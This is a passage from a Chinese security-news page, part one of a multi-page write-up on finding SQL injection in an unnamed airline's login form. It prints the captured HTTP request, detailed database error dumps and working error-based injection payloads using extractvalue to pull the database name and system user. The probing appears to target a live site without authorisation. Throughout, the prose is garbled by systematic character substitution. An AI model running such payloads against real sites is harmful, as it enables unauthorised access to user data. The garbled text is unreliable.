欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

看我怎样发掘到了某热点网站上的SQLi和XSS破绽

来源:本站整理 作者:佚名 时间:2017-09-05 TAG: 我要投稿

在上个月的平常挖洞过程当中,我发明了一个以后非常热点的航空公司网站,并在该网站中发明了几个平安破绽。因为这个网站尚未设立地下的破绽嘉奖筹划,以是咱们未便在此泄漏该网站的实在身份,咱们索性觉得它的域名为goodwebsite.com。接下来我会给人人先容我若何挖到了该网站中存在的SQL注入破绽和XSS(跨站剧本)破绽。
SQL注入破绽有甚么感化?
简而言之,这类SQL注入破绽将容许未经身份验证得用户从目的网站的数据库中获得数据,此中也包含许多敏感的用户信息。
为甚么会存在这类平安成绩?
之以是这里会存在SQL注入破绽,重要是因为goodwebsite.com的登录页面在处置用户的输入数据时,没有过滤掉此中可以或许存在的敏感字符,相当于他们间接将用户的输入数据拔出到了一条或多条原始的SQL查问语句当中。经由过程应用这类进击向量,进击者可以或许从目的网站的数据库中获获得用户的暗码哈希和其余的数据。
是以,我在测试该网站登录页面的时刻,我随机输入了一堆用户名和暗码以后,用Burp Suite拦阻下了浏览器发送的哀求,而后把用户名改成为了“Test%27”。改动完哀求以后,我将该哀求转发到了Burp Repeater,末了我获得了一个包含差错信息的相应。哀乞降相应的差错信息以下所示:
Request:POST /register-login/check.php HTTP/1.1
Content-Length: 76
Content-Type: application/x-www-form-urlencoded
Cookie: bmslogin=no; bmsid=f3011db015dca9a4f2377cd4e864f724
Host: goodwebsite.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
strLogin=Test%27&strPassword=k
 
Response Error:
PDOException Object ( [message:protected] => SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near Test’ ‘ and `valid_id` = 1’ at line 1 [string:Exception:private] => [code:protected] => 42000 [file:protected] => /var/www/goodwebsite.server.com/register-login/send.php [line:protected] => 10 [trace:Exception:private] => Array ( [0] => Array ( [file] => /var/www/goodwebsite.server.com/register-login/send.php [line] => 10 [function] => query [class] => PDO [type] => -> [args] => Array ( [0] => SELECT * FROM `wp_ggg_user` WHERE `login` = Test’e ‘ and `valid_id` = 1; ) [previous:Exception:private] => [errorInfo] => Array ( [0] => 42000 [1] => 1064 [2] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near Test’ ‘ and `valid_id` = 1’ at line 1 )
当我看到相应信息中的这些差错提醒以后,我第一反响便是应当测验考试一下其余的SQL查问语句,而我第一次测试所应用的查问语句以下所示:

Test%27and extractvalue(1,concat(0x00a,database()))or’
这一次服务器前往的差错信息与以前异常类似,然则相应信息的开头部门却有一点点不同样...
[previous:Exception:private] =>
 [errorInfo] => Array
 (
 [0] => HY000
 [1] => 1105
 [2] => XPATH syntax error: ‘
goodwebsite’
 )
是以,差错信息相当于曾经把goodwebsite网站的数据库称号前往给我了:

除此之外,我还测试了一些其余根本的查问参数。比方:
system_user()
@@version
database()
@@hostname
@@datadir
@@GLOBAL.VERSION
session_user()
schema()
UUID()
接下来,我所测试的查问语句以下所示:

Test%27and extractvalue(1,concat(0x00a,system_user()))or’
这一次前往的差错信息以下:
[previous:Exception:private] =>
 [errorInfo] => Array
 (
 [0] => HY000
 [1] => 1105
 [2] => XPATH syntax error: ‘
goodwebsite@localhost’
 )
从相应信息中来看,咱们曾经获获得了System_User:

这样一来,这个SQL注入破绽就曾经胜利确认了,然则我还想加倍深刻一下,看看能不能获获得更多有价值的信息,而我所应用的第三条测试语句以下所示:

Test%27and extractvalue(1,concat(0x00a,@@hostname))or’

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载